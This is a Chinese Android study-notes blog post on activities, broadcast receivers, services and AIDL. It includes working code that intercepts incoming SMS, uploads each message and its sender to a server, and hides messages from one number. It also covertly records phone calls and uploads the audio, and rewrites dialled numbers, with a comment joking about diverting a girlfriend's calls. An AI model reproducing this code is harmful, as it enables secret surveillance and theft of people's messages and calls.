您的位置:首页 > 其它

安卓学习第六天(广播,服务,进程,线程等)

2012-12-02 09:59 176 查看
Task and Back Stack
每次创建一个activity就把它放到栈顶,每次都是这样,
栈中有多少上activity就有要按多少个后退才行。
这个任务栈与线程和进程没有任何关系 。
这个任务栈内部实现是一个链表。它是一个后进先出的数据结构。
它其实就是用于记录activity的状态的东西。

Intent的启动模式:
SingleTop如果任务栈的栈顶元素是要被激活的组件,不会创建新的activity放在
任务栈中,而是会利用任务栈中栈顶的元素,如果发现要激活的activity不是要激活
的activity就会创建新的activity旋转到任务栈里面。
使用场景:比如说系统浏览器书签的activity就是这个模式。
只有你在这个Activity里面配置了android:launchMode="SingleTop"才会有作用。
简言之,如果栈顶正好是要被激活的,就不再产生新的,直接用就是了,如果栈顶
不是要激活的那就激活新的。
且记,这个是针对某个activity配置的,哪个配置了,哪个就起作用了。

singalTask:例如我们对Demo2这个起作用,大部分情况跟上面一样,如果栈顶正好是被
激活的,就不再创建新的,直接激活就行了,但是如果发现之前有个Activity配置了
SingalTask并且 这个aCtivity还在这个任务栈中,它会直接从这个任务栈中激活,并且
清除它之上的所有activity。
应用场景:浏览器activity,这个是非常浪费开销的操作,
1、初始化webkit/c++嵌入式浏览器内核。我刚才的理解错了,跟网页没有关系不是
一个网页就是一个Activity,而整个浏览器是一个activity,你发现启动UC是不是需要
一些时间,所以它把browseractivity配置成了singalTask的模式,每次它都不会启用
新的,而是直接用任务栈中的,这是一个空间换取时间的。

singleInstance:它更加极端一些,如果某个activity设置为这种它会去开启一个新的任务栈
把要激活的activity旋转到新的任务栈里面,这个任务栈里面只有一个实例 ,就是你配置
的这个activity的实例 。它不会自己到默认的任务栈里面,而是自己创建一个任务栈,
并且在默认任务栈中有一个引用,每次调用 它都会创建一下,并且如果你一旦在一个地方
销毁它,所有的都会销毁, 在返回按键的时间就没有它的事情的。
应用场景:有道词典,金山词霸。全局唯一,想要查词,必须进到这里。

可以通过getTaskId()这个方法去测试。

standard.这个是标准默认模式。

在android操作系统里面 会有很多的广播事件.
//其实广播就相当于一个全局监听器,自己配置一个意图过滤器,表示要对谁监听,因为将要监听的这个人,会发出
//这个标识符其实就是一个常量,然后按照优先级,谁的优先级高,谁就先监听到它,谁的方法也就是先执行。
可以用abortBroadcast();这个方法终止这个事件的传播,也就是说在这个广播执完以后,后面那些接收者就不会再
接收,而不是abortBroadcast()之后的代码不会再执行。

BroadCastRecevier 与 activity一样,都是系统组件,用它的话都要在配置文件里面注册。

//它有优先级,有很多在意图里面都配置要过滤它,谁的优先级高谁就先接收到。谁先过滤到,谁就先执行自己的方法。
//其实就是全局监听,看看想让谁先监听到,肯定是这样,系统先扫描一下看看谁对它监听了,然后根据优先级的高低
//先排序一下,然后让一个一个排除来,如果发现中间有人结束了,就不玩了,后面的都接收不到了。
<receiver
android:name=".SmsReceiver"
>
<intent-filter
android:priority="1000"
>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>

//广播生命周期

//anr的解决方案
上次我们讲过,如果你在主线程里面做了过于浪费时间的操作,主线程就会出现这个错误,
所以浪费时间的三大类操作不能够在主线程里面,应该另外起一个子线程。
System.out.println("thread name ="+Thread.currentThread().getName());
得到该方法的线程执行的名称,我们可以知道如果它在主线程里面就不能在它里面
写上耗时的函数。所以我们应该把它发往服务器的操作写在子线程里面。
但是因为:
// 因为广播接受者的生命周期非常的短 ,广播接受者所在的进程很有可能会别系统回收
// 子线程也会被销毁. 所以在广播接收器里面放在线程是里面仍然不合适,应该放在Service里面。

//十分重要,你只要在配置文件里面配置了广播接收器,并且已经部署过手机上了,其实它是写到了
//系统注册表里面,当有广播发出去时间,它会在系统注册表里面扫描这些常量,去找找有没有人
//去注册它,如果有,就会触发现就的程序 ,而不管这些程序是否是启动状态,你发现了吧,广播很厉害。
public class SmsReceiver extends BroadcastReceiver {
// 当接受到短信的时候
// android.provider.Telephony.SMS_RECEIVED
@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
for (Object pdu : pdus) {
//			Create an SmsMessage from a raw PDU.根据一个原生的PDU消息创建一个SmsMessage实例。
SmsMessage message = SmsMessage.createFromPdu((byte[])pdu);
// 获取短信的正文内容
final String content = message.getMessageBody();
//获取短信的发送者
final String address = message.getOriginatingAddress();
System.out.println(content);
System.out.println(address);

new Thread(){
public void run() {
String path = "http://192.168.0.103:8080/SmsWeb/SmsServlet?message="+content+"&address="+address;
//后面那些接收者就不会再
//					接收,而不是abortBroadcast()之后的代码不会再执行。
//我们不但让正常手机接收不到短信,而再给发短信的这个人回一条短信
if ("15555215556".equals(address)) {
abortBroadcast();
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage(address, null, "别再发了", null, null);
}
try {
URL url = new URL(path);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
connection.setReadTimeout(5000);
System.out.println(connection.getResponseCode());
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
};
}.start();
}

}

}
<receiver
android:name=".SmsReceiver"
>
<intent-filter
android:priority="1000"
>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
因为手机短信接收的优先级是0,所以1000肯定是先于它接收的。。
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
BroadCastRecevier  有两种注册方式
1. 清单文件里注册:  一旦应用程序被部署到手机, 广播接受者就会生效,不管这个程序是否被启动。

2. 代码里面注册: 一旦代码所在的进程被杀死了, 广播接受者就失效了.
IntentFilter intentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
SmsReceiver smsReceiver = new SmsReceiver();
registerReceiver(smsReceiver, intentFilter);
class SmsReceiver extends BroadcastReceiver{};

广播接受者分为两种类型:
1. 有序的广播. 短信到来的广播 电话拨打的广播
-1000~1000  设置广播的优先级
android:priority="1000"
有优先级的广播是有序广播。
从高优先级->低优先级 依次传递
如果中间调用了abortbroadcast() 方法  可以终止广播事件

2. 无序广播.(在系统时里面这种广播事件不是特别多)
没有优先级 任何人 注册广播接受者的人,都可以接收到广播.
没有abortboradcast()方法

sendBroadcast(intent); // 发送一条广播
sendOrderedBroadcast(intent, receiverPermission); // 发送一条有序广播

//一个重要的应用,利用下面这个方法,它是一个有序广播。
//sendOrderedBroadcast(intent, receiverPermission, resultReceiver, scheduler, initialCode, initialData, initialExtras)
如果发送广播的时候 使用的 上面的api发送出去的广播
第三个参数 resultReceiver 指定了广播的接受者.
上面的方法中即便是中间我把广播给终止 abortbroadcast()
resultReceiver 还是会接受到广播时间 ,那么如何停止或者修改这种广播呢?
可以用setResultData(null)去终止这个广播,或者用setResultData(100)更改了
这个广播的内容,相当于WEB中的filter可以对request和response包装修改后再放行,那么它的下面的广播接收者收到的内容就会改变。
对于这个方法,我们可以动态更改用户打的电话号码,不管用户打哪个电话
都可以拨打到指定的电话。
利用这个功能我们可以动态更改用户拨打的电话,在前面加上相应的号码。
//它实现原理肯定与WEB中的HttpFilter是一样的。对request和response包装后再往后发。
//当你女朋友跟别的男的打电话,可以用这个,一打别人的电话就转到你的手机上。厉害吧。
//用户拨打电话时间调用的是sendOrderedBroadcast这个API。
public class IpCallBrodCast extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {
//在这里面你可以对用户所往外拨打的电话进行全面修改
//这句话也就是,无论用户拨打哪个电话都会转到这个电话上来,厉害吧。可以做个判断,当用户拨打某个电话的时间就转到这个电话上来
//		setResultData("15136225969");
//setResultData(null)相当于结束了这个广播。只有这一种方法,abortboradcast()可以终止往后传播,但是
//sendOrderedBroadcast指定的接收者仍然能够接收到,但是优先级低的那些对它监听的就接收不到了。
//其实setResultData(NULL)并不是能够终止它,只是把传播数据置为空了,只是达到了无法传播的效果,即使接收到也没有什么用。
//		getResultData();这个是得到用户往外打的电话号码的方法
SharedPreferences preferences = context.getSharedPreferences("ipcall", Context.MODE_PRIVATE);
String number = preferences.getString("number", "");
setResultData(number+getResultData());
}

}

复习一下SharedPreferences:
public void call(View view){
EditText eText = (EditText) findViewById(R.id.et1);
String number = eText.getText().toString().trim();
SharedPreferences sharedPreferences = getSharedPreferences("ipcall", Context.MODE_PRIVATE);
Editor editor = sharedPreferences.edit();
editor.putString("number", number);
editor.commit();
}

进程和线程之间的关系.
一个进程里面可以有多个线程.
进程如果挂了, 线程就没了.

如果我们激活另外一个应用程序的activity
肯定另外一个应用程序 所在的进程也会被创建出来

为什么要使用 service 是因为service这个组件会长期的在后台运行
一般情况下不会别操作系统回收.(因为activity和BroadCast都会有生命周期
随时可能会消失,所以出现了service后台一直运行的服务器进程)

进程的优先级

Foreground process 前台进程
优先级别最高,即便系统内存不足的时候 也不会杀死前台进程

Visible process 可见进程
优先级稍为低一点

Service process 服务进程
存活时间比较长 .
里面的子线程不会回收.

Background process 后台进程

Empty process 空进程 (从任务栈中移除,没有任何活动的组件存在)
没有任何的组件进程 (最容易被系统回收,回收顺序从下到上)

//service也是运行在主线程里面的,所以如果有耗时的操作是肯定不能放到主线程里面的。
下面这段官方的话是说,它是运行在主线程里面有如果你有耗时的操作,要起一个子线程,否则会出现ANR错误。
Caution: A service runs in the main thread of its hosting process—the service does not
create its own thread and does not run in a separate process (unless you specify otherwise).
This means that, if your service is going to do any CPU intensive work or blocking operations
(such as MP3 playback or networking), you should create a new thread within the service to do that work.
By using a separate thread, you will reduce the risk of Application Not Responding (ANR) errors and the
application's main thread can remain dedicated to user interaction with your activities.

//复习一下上传,客户端要用三个jar包,commons-codec-1.3.jar     commons-httpclient-3.1.jar commons-logging-1.1.jar
//服务器要有两个jar包  commons-fileupload-1.2.2.jar   commons-io-2.0.1.jar 这个其实就是在开发JSP servlet时间用的jar包。

作为四大组件之一,启动service的方法与activity一样,都是通过Intent.
Intent intent = new Intent(this,PhoneListenService.class);
startService(intent);

服务端:
/**
* @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
*/
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
System.out.println("post");
boolean isMultipart = ServletFileUpload.isMultipartContent(request);
if(isMultipart){
String realpath = request.getSession().getServletContext().getRealPath("/files");
System.out.println(realpath);
File dir = new File(realpath);
if(!dir.exists()) dir.mkdirs();

FileItemFactory factory = new DiskFileItemFactory();
ServletFileUpload upload = new ServletFileUpload(factory);
upload.setHeaderEncoding("UTF-8");
try {
List<FileItem> items = upload.parseRequest(request);
for(FileItem item : items){
if(item.isFormField()){
String name1 = item.getFieldName();//
String value = item.getString("UTF-8");
System.out.println(name1+ "="+ value);
}else{
item.write(new File(dir, System.currentTimeMillis()+ item.getName().substring(item.getName().lastIndexOf("."))));
}
}
System.out.println();
response.getOutputStream().write("你好".getBytes("utf-8"));
} catch (Exception e) {
e.printStackTrace();
}
}else{
doGet(request, response);
}
}
客户端:
package cn.itcast.phoneListener;

import java.io.File;
import java.io.IOException;

import org.apache.commons.httpclient.methods.PostMethod;
import org.apache.commons.httpclient.methods.multipart.FilePart;
import org.apache.commons.httpclient.methods.multipart.MultipartRequestEntity;
import org.apache.commons.httpclient.methods.multipart.Part;

import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

public class PhoneListenService extends Service {

@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
/**
* 在服务第一次被创建的时候 执行
*/
@Override
public void onCreate() {
// 1. 判断当前手机的状态,
// 如果发现手机处于 通话状态
// 创建一个录音器, 录下来用户的通话信息
// 当发现手机再次处于 idle 状态 停止录音机,把音频文件 上传到服务器
// 得到手机与电话状态相关的服务

//这个是我们之前用过的得到系统服务的,其实 系统提供了非常多的服务,你在这里可以清晰的看到。
//		this.getSystemService(LAYOUT_INFLATER_SERVICE)
TelephonyManager telephonyManager = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
//监听手机通话的变化事件,如果后面的通话状态有变化,就会调用前面的监听器,调用相应的方法。
telephonyManager.listen(new MyPhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);
System.out.println("线程ID"+Thread.currentThread().getName());

}

public class MyPhoneListener extends PhoneStateListener{
MediaRecorder mediaRecorder;
/**
* 当电话的通话状态发生改变的时候 被调用的方法
*/
@Override
public void onCallStateChanged(int state, String incomingNumber) {
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE:// 当前电话处于闲置状态
System.out.println("// 当前电话处于闲置状态");
//此时应该检测一下,如果录音机那个对象不为空,说明刚才用过了,把此时我们要把录的内容上传到服务器
if (mediaRecorder != null) {
mediaRecorder.stop();
mediaRecorder.reset();   // You can reuse the object by going back to setAudioSource() step
mediaRecorder.release(); // Now the object cannot be reused
//得到文件对象 开始上传

new Thread(){
public void run() {
File file = new File(Environment.getExternalStorageDirectory()+"/rec.3gp");
try {
upload(file);
} catch (Exception e) {
e.printStackTrace();
}
};
}.start();
}
break;
case TelephonyManager.CALL_STATE_RINGING:// 当前电话处于零响状态
System.out.println("电话号码为 " + incomingNumber);
break;
case TelephonyManager.CALL_STATE_OFFHOOK://// 当前电话处于接听状态
System.out.println("当前电话处于通话状态 ");
//如果检测到处于通话状态,会调用这个方法,打开录音开始录音,其实这些东西是回调
//当通话状态改变的时间会相应的调用这个方法,它属于回调,是一前一后的事。而不会
//出现像有人说的,会不会漏录一些东西,这是不可能的。深刻理解回调。
mediaRecorder = new MediaRecorder();
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
mediaRecorder.setOutputFile(Environment.getExternalStorageDirectory()+"/rec.3gp");
mediaRecorder.prepare();
mediaRecorder.start();   // Recording is now started

break;

}
} catch (IllegalStateException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
}
}
}

public void upload(File file) throws Exception{
// 实例化上传数据的 数组  part []
Part[] parts = {
new FilePart("file",file)};

PostMethod filePost = new PostMethod("http://192.168.0.103:8080/SmsWeb/UploadPhone");

filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));
org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient();
client.getHttpConnectionManager().getParams()
.setConnectionTimeout(10000);
int status = client.executeMethod(filePost);
if(status==200){

System.out.println("上传成功");
}
else{
throw new IllegalStateException("服务器状态异常");
}

}
}

//为什么要使用serivce?为什么要有它。?
因为它可以长期存在于后台空间,而且没有界面,可以执行耗时的操作。
其实还是应该回到线程问题上,因为我们打开一个软件就启动了相应的进程,
但是你后退之后软件并没有关闭。只是进入了Background process,在某些条件下会被回收。
像我们上面写的短信监听器,你把上传短信的操作,放在一个子线程里面,虽然好
了一点,可是你且记,整个广播的生命周期只有十秒,十秒之后不管怎样,它都会结束 。
这样它就成了一个空线程,很容易被系统回收。
就是因为serivce长期存在于后台中,不容易被系统回收。
它默认是Service process,但你可通过startForeground()或者setForeground(true);.
设置为前台进行,前台进程即使在系统资源严重不足的情况下也不会回收。

//Service的生命周期?

1服务可以通过startservice的方法 开启
通过stopservice的方法 停止

服务有一个特点: 只会执行一次oncreate() 方法
服务一旦被创建出来 , 以后oncreate() 就不会再被执行了,
以后再去开启服务 只会执行onstart()方法
当服务被停止的时候 也只会执行 onDestroy();
所以此种方式开启的Service生命周期方法只有onCreate onStart onDestory三个。
2 服务通过bindservice的方法开启
首先 如果服务不存在 就会执行 oncreate() ->onbind()方法
一旦服务绑定成功 以后再去执行 bindsercie() 就不会在重新创建 或者绑定服务了();
只要通过这种方式启动过了以后,再去绑定就不会再执行任何一个方法。
不过,
如果我们现实的调用unbindservice()的方法
首先 on unbind()方法 -> ondestroy() ;
服务只能被解除绑定一次 多次解除绑定服务 程序会出异常.
如果你执行unbindService()多次就会出现异常,Activity cn.itcast.servicelife.DemoActivity
has leaked ServiceConnection cn.itcast.servicelife.DemoActivity$
MyConn@44f406f0 that was originally bound here
不过,这个,如果你想在退出activity时间,应该显式关闭它,否则会爆出上面的异常
你可以在Activity生命周期里面的onDestory方法里面去显式的关系 它。
@Override
protected void onDestroy() {
//会先执行解绑,然后再销毁activity.
unbindService(myConn);
super.onDestroy();
}

//绑定服务和开启服务的区别?

开启服务 (startservice)
服务一旦开启与调用者没有任何的关系 , 调用着的activity 即便是退出了 也不会影响
后台的service的运行.
在activity里面 不能去调用服务里面的方法 .

通过绑定方式开启服务(bindservice)
服务跟调用者不求同生 ,但求同死.
如果调用者(activity)退出了 那他绑定的服务呢 也会跟着退出.
03-16 07:45:42.479: ERROR/ActivityThread(8618): Activity cn.itcast.servicelife.DemoActivity
has leaked ServiceConnection cn.itcast.servicelife.DemoActivity$
MyConn@44f406f0 that was originally bound here
\
03-16 07:45:42.479: ERROR/ActivityThread(8618): android.app.ServiceConnectionLeaked: Activity cn.itcast.servicelife.DemoActivity
has leaked ServiceConnection cn.itcast.servicelife.DemoActivity$MyConn@44f406f0 that was originally bound here
那么我们应该在activity生命周期里面destory方法里面显式的调用onunbind()方法。

我们可以在activity里面调用服务里面的方法.

利用 serviceSonnection 接口 返回一个ibinder对象 ,
拿着ibinder对象获取到服务里面方法的引用(自定义了一个接口信息)

绑定的方式开启的服务,我们可以在activity里面调用服务里面的方法 。而start
开启的服务却不可以。

通过定义一个接口,让服务里面的方法给暴露出来,让activity去调用 。
一个应用程序 一个进程里面 定义一个IService 的接口来描述方法

如果我们要调用另外一个进程 服务里面的方法  aidl
(android interface defination language)

理解一个东西,凡是在清单文件里面配置过的各个组件等东西,只要你部署到手机上一次,
它就会进入系统的注册表,即使你不启动,也能通过注册表,例如意图过滤器找到它。

public interface IService {
public void callMethodInService();
}

public class MyService extends Service{

@Override
public IBinder onBind(Intent intent) {
System.out.println("onBind");
return new MyBinder();
}

public class MyBinder extends Binder implements IService{

@Override
public void callMethodInService() {
sayHelloInService();

}

}

/**
* 服务里面的一个方法
*/
public void sayHelloInService(){
System.out.println("hello in service");
}
}

package cn.itcast.servicelift;

import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.Bundle;
import android.os.IBinder;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;

public class ServicelifecycleActivity extends Activity implements OnClickListener {
Button bt_start;
Button bt_stop;
Button bt_bind_service; //绑定服务
Button bt_unbind_service; //解除绑定服务
Button bt_call_service;
Intent intent ;
MyConn myConn;
IService iService;
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
bt_start = (Button) this.findViewById(R.id.button1);
bt_stop = (Button) this.findViewById(R.id.button2);
bt_bind_service = (Button) this.findViewById(R.id.button3);
bt_unbind_service = (Button) this.findViewById(R.id.button4);
bt_call_service = (Button)this.findViewById(R.id.button5);
bt_start.setOnClickListener(this);
bt_stop.setOnClickListener(this);
bt_bind_service.setOnClickListener(this);
bt_unbind_service.setOnClickListener(this);
bt_call_service.setOnClickListener(this);
//定义 Intent
intent = new Intent(this,MyService.class);
myConn = new MyConn();
}

@Override
public void onClick(View v) {
switch (v.getId()) {
case R.id.button1:// 开启服务
System.out.println("uf");
startService(intent);
break;
case R.id.button2: //停止服务
stopService(intent);
break;
case R.id.button3:
//第三个参数表示,如果服务没有启动,则创建一个新的。
bindService(intent, myConn, Context.BIND_AUTO_CREATE);
break;
case R.id.button4:
unbindService(myConn);
break;
case R.id.button5:
iService.callMethodInService();
break;
}

}
/**
*
* @author chen
* ServiceConnection主要用于监听Service的状态,是否有被连接。
*/
private class MyConn implements ServiceConnection{
/**
* 当连接到Serivce的连接被建立之时会被调用 ,是通过IBinder这个通道去连接Service的。
* name:已经被连接的Service的具体的名字。
* service:服务的通信信道的IBinder,也就是从MyService里面返回的。
*/
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
iService = (IService) service;
}

@Override
public void onServiceDisconnected(ComponentName name) {
// TODO Auto-generated method stub

}

}

@Override
protected void onDestroy() {
//会先执行解绑,然后再销毁activity.
unbindService(myConn);
super.onDestroy();
}
}

总结流程:

1.要想访问 一个服务里面的方法 我们需要用到 bindservice();
一 创建一个服务 这个服务里面有一个要被调用的方法.
二 定义一个接口IService , 接口里面的抽象方法 就是去调用service里面的方法
三 定义一个mybinder对象 extends IBinder对象 实现 我们声明的接口IService, 在onbind
方法里面把mybinder返回回去

四 在activity里面 通过bindservice的方法开启服务
五 创建出来一个我们MyConn 实现 ServiceConnection接口 onserviceConnected的方法
这个方法会有一个参数 这个参数就是 MyBinder的对象
六 把mybinder强制类型转化成 IServcie
七 调用IService里面的方法

上面的是在一个进程是里面调用服务的方法。如果我们想调用另外一个进程里面的方法用AIDL.(android interface defination language)
这个是谷歌工程师定义出来的一个规范。
跨里程操作需要用到IPC通信的方式,跨进程方式,主要是依据谷歌工程师定义的规范。

2.要想访问一个远程服务里的方法 需要用到aidl
一 创建一个服务 这个服务里面有一个要被调用的方法.
二 定义一个接口IService , 接口里面的抽象方法 就是去调用service里面的方法
把.java的后缀名改成aidl 把接口里面定义的访问权限的修饰符都给删除
三 定义一个mybinder对象 extends IService.Stub, 在onbind
方法里面把mybinder返回回去
四, 在activity里面 通过bindservice的方法开启服务 ,并且要把那个IService.aidl
copy过来,包名都要一样,否则无法用。
五 创建出来一个我们MyConn 实现 ServiceConnection接口 onserviceConnected的方法
这个方法会有一个参数 这个参数就是 MyBinder的对象
六 iService = IService.Stub.asInterface(myBinder)
七  调用IService的方法

调用远程:除了在远程服务那边基本与上面差不多,不过最重要的是在远程服务的配置文件
里面写,
<service android:name=".RemoteService">
<intent-filter>
<action android:name="cn.myremoteService"/>
</intent-filter>
</service>
只有这样,你把这个服务在手机上部署一次,它才会把这样注册文件写到系统注册表里面,
其实,所以的注册文件都是这个特性,写在注册文件里面的信息会被写到注册表里面。
然后在远程的Activity里面
Intent intent = new Intent();
//开启远程service,通过隐式意图对就如下
intent.setAction("cn.myremoteService");
bindService(intent, new Myconn(), Context.BIND_AUTO_CREATE);

在调用端:
Intent intent = new Intent();
//开启远程service,通过隐式意图对就如下
intent.setAction("cn.myremoteService");
bindService(intent, new Myconn(), Context.BIND_AUTO_CREATE);

private class Myconn implements ServiceConnection{

@Override
public void onServiceConnected(ComponentName name, IBinder service) {
// TODO Auto-generated method stub
iService = IService.Stub.asInterface(service);
}

@Override
public void onServiceDisconnected(ComponentName name) {
// TODO Auto-generated method stub

}

}

AIDL典型应用:挂断电话。
因为AIDL可以调用非常多的系统服务,这样我们的权力就无限制的大了。
哈哈。。

首先copy两个AIDL文件到目录下。
public class EndcallActivity extends Activity {
ITelephony iTelephony;
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);

//因为谷歌没有暴露出来相关的API,所以我们要通过反射获取相应的方法
// 获取系统电话管理的服务
try {
Method method = Class.forName("android.os.ServiceManager").getMethod("getService", String.class);
//执行远程的这个方法会返回一个IBinder对象 ,其实是调用 了远程 的onBind()方法。
IBinder binder = (IBinder) method.invoke(null, new Object[]{TELEPHONY_SERVICE});
iTelephony = ITelephony.Stub.asInterface(binder);
} catch (Exception e) {
e.printStackTrace();
}
}

public void endcall(View view) throws RemoteException{
iTelephony.endCall();
}
}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: